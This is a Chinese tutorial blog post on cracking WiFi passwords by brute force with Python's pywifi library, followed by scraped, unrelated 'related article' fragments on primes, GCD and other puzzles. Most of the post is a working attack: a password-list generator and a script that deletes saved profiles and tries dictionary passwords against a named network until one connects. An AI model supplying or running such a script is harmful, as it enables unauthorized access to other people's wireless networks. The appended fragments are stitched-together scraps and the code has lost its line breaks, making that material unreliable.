【第一步:安装模块】

1.首先在终端里面安装pywifi库

pip install pywifi

2.安装comtypes

pip install comtypes

想要实现穷举法破解 WiFi pywifi 和 comtypes 这两个模块都要添加,上面都完成后就可以开始写代码了

【第二步:设备要求】

方案一:如果是台式电脑 ,需要插网卡(长得像U盘的那种)

方案二:如果是笔记本电脑(不需要另外插网卡,本身自带)

【第三步:代码实现】

小测试:

import pywifi
from pywifi import const# 第一个案例
def gic():# 创建一个无线对象wifi = pywifi.PyWiFi()#获取到第一个无线网卡ifaces = wifi.interfaces()[0]# 打印网卡名称# print(ifaces.name())# 列表print(ifaces)# 打印网卡的连接状态# print(ifaces.status())  连接到的状态码:4  未连接到的状态吗:0if ifaces.status() == const.IFACE_CONNECTED:   # 这里可以直接写 4 但是别人看不懂print("已连接")else:print("未连接")
# gic()# 第二个案例  扫描附近的 WiFi
def bies():wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]# 扫描WiFiifaces.scan()# 获取扫描结果result = ifaces.scan_results()for name in result:# ssid 是 wifi的名称 扫描出来不一定有结果,特别是台式电脑print(name.ssid)bies()

密码生成器代码:

这个效果肯定是不行的,只是做测试来使用,建议上网找一些字典,然后把密码文本载进去

import itertools as its  # 迭代器 ;as 是重命名words = "1234567890"  # 这里改成英文,那结果就是英文组合的密码
r = its.product(words,repeat=5)
dic = open("pass.txt","a") # a 模式,在文件后面追加,没有就创建
for i in r:# i 是个元组,不能直接写进文件里dic.write("".join(i))dic.write("".join("\n"))
dic.close()

完整代码:

import pywifi
from pywifi import const
import time# 1.导入模块
# 2.抓取网卡接口,一般抓第一个,而且电脑一般只有一个无线网卡
# 3.先断开自己的WiFi 否则会出现问题
# 4.进行破解读取密码本
# 5.测试连接
# 6.设置睡眠时间(延时)# 测试连接 返回连接结果
def wificonnect(pwd):# 抓取网卡接口  是个类wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开自己的 wifiifaces.disconnect()time.sleep(1)wifistatu = ifaces.status()  #接收连接状态# print(const.IFACE_DISCONNECTED) DISCONNECTED:未连接的if wifistatu == const.IFACE_DISCONNECTED:# print("未连接")# 创建新的WiFi连接文件profile = pywifi.Profile()# 要连接wifi的名称,前面的扫描就是为这一步做铺垫profile.ssid = "CMCC-sx3N"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 密码profile.key = pwd# 删除所有的WiFi连接文件(把之前连接过的文件全部删除)ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)# 用新的连接文件 去测试连接ifaces.connect(tep_profile)# wifi 连接时间time.sleep(4)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已连接")# wificonnect()def readPassword():print("开始破解:")# 读取密码本的路径path = ".\pass.txt"# 打开文件file = open(path,"r")# 写死循环,目的是一直去试密码while True:# 读取文件正确执行 try ;错误执行 excepttry:# readline 读取一行passStr = file.readline()bool = wificonnect(passStr)if bool:print("密码正确",passStr)# 跳出当前循环breakelse:print("密码不正确",passStr)except:# 跳出本次循环,直接进入下次循环continuereadPassword()

这里注意一下,如果不需要自己写密码生成器的话,直接创建新项目,在main.py(我把他名字改成:wifi_test1.py)里直接写完整代码就行了。

还有就是台式连网线的用这种方法是不会成功的,必须要拔掉网线插网卡。

Python穷举法连接WiFi相关推荐

  1. python穷举法_python 穷举指定长度的密码例子

    本程序可根据给定的字符字典,穷举指定长度的所有字符串: def get_pwd(str, num): if(num == 1): for x in str: yield x else: for x i ...

  2. python穷举法列举_穷举法应用举例.doc

    无 止 境 穷举法应用举例 在数学问题中, 有一些需要计算总数或种类的趣题, 因其数量关系比较隐蔽, 很难找到"正统"的方式解答,让人感到无从下手.对此,我们可以先初步估计 其数目 ...

  3. python穷举法求素数_使用Python求指数为20以内的所有梅森素数

    这篇文章将要介绍梅森素数的定义以及在Python中实现的方法. 一.梅森素数 梅森数(Mn)指的是形如2n - 1的正整数,其中指数 n 是素数. 如果一个梅森数是素数,则称其为梅森素数.例如22-1 ...

  4. 用python穷举法判断素数_Python如何判断素数

    判断一个给定的正整数是否素数 输入格式: 输入在第一行给出一个正整数n(≤ 10),随后n行,每行给出一个小于1000000 的需要判断的正整数 输出格式: 对每个需要判断的正整数,如果它是素数,则在 ...

  5. python穷举法搬砖_python 穷举法 算24点(史上最简短代码)-阿里云开发者社区

    # 作者:hhh5460 # 时间:2017年6月3日 import itertools deftwentyfour(cards): '''史上最短计算24点代码''' for nums in ite ...

  6. Python:三种方法计算最大公约数和最小公倍数(欧几里德法、穷举法、stein算法)

    Python:三种方法计算最大公约数和最小公倍数 1.穷举法 2.欧几里德法 3.Stein算法 题目:求取任意两个非负数(至多一个数为0)的最大公约数和最小公倍数: 参考资料:Python解决求最大 ...

  7. python算24点穷举法_24点游戏7节课–第1节-游戏介绍与基本算法 | 学步园

    这仅仅是一个控制台(DOS窗口下)的小游戏--有人欢喜有人烦了.欢喜的是因为可以专心于游戏逻辑自身过程,就算你只学过C++简单的屏幕输入输出(cin.cout ),乃至换用java,C#也可以写这个小 ...

  8. python计算圆周率(蒙特卡洛法/模拟法、统计法/穷举法、BBP公式)

    def calculatePI1(): #模拟统计法:蒙特卡罗方法计算圆周率import random as r #导入random模块命名为rimport math as m #导入math模块命名 ...

  9. python求两个数的最大公约数穷举法_C++求最大公约数四种方法解析

    C++求最大公约数的四种方法思路,供大家参考,具体内容如下 将最近学的求最大公约数的四种方法总结如下: 第一种:穷举法之一 解释:拿其中一个数出来,用一个临时变量(tem)保存,每次都把那两个数除以这 ...

  10. 穷举法python例子_(Python)简单线性模型与穷举优化,穷举法

    一个简单的线性模型,使用穷举法计算所有最小二乘误差,并生成分析图. import numpy as np import matplotlib.pyplot as plt # 简单线性模型-穷举法优化 ...

最新文章

  1. 视频+课件| 室内动态变化场景中的相机重定位(CVPR2021)
  2. golang中的socket
  3. 【随记】hexo文章加密
  4. 关于hibernate的关联外键生成以及外键属性列的正确插入即:解决外键插入时,在关联表中除了外键列为空,其它属性均正常级联保存
  5. 使用SVN提示“工作副本已经锁定”的解决办法
  6. excel 切片器 html,excel切片器怎么使用2010
  7. 读书笔记_打开量化投资的黑箱01
  8. 小程序 背景图 repeat_简单可爱的微信聊天背景图片
  9. scrapy框架爬取知乎用户
  10. SSH config 文件的作用
  11. javaShop JAVA版多用户B2B2C商城源码(PC+H5+小程序+APP)
  12. python 修改照片分辨率
  13. VB.Net几个函数split(),ubound(),lbound(),instr(),mid(),Format()与Round()
  14. 【感兴区roi学习应用】OpenMv如何只识别左边屏幕里面的红色小球
  15. Locust + Boomer In Docker
  16. mysql入门 ,及详细步骤
  17. 简述华为的鸿蒙操作系统的结构,华为鸿蒙操作系统今日重磅发布
  18. 列出当前文件夹及其子文件夹下所有文件名称
  19. 台式计算机内存卡与普通有啥区别,电脑硬盘和内存有什么区别?
  20. 关于高考志愿填报那些事(个人经验,仅供参考)

热门文章

  1. 双系统linux分区扩容,Win7 下Ubuntu14.04 双系统无损扩容
  2. 某妹游戏登录加密(webpack)
  3. flask实现浏览器实时视频播放
  4. 王者荣耀苹果微信哪个服务器最强,王者荣耀:国服最高战力!这三个英雄最高战力比拼ios微信区完胜...
  5. 漫谈区块链“羊群效应”
  6. 基于C#的词法分析关键字识别与变色
  7. 市场供需简单模型分析
  8. oracle发生20001,Oracle IMP数据时报20001错误
  9. TopCoder SRM 678 Div2
  10. 高中数学:数列求和的8种常用方法(最全)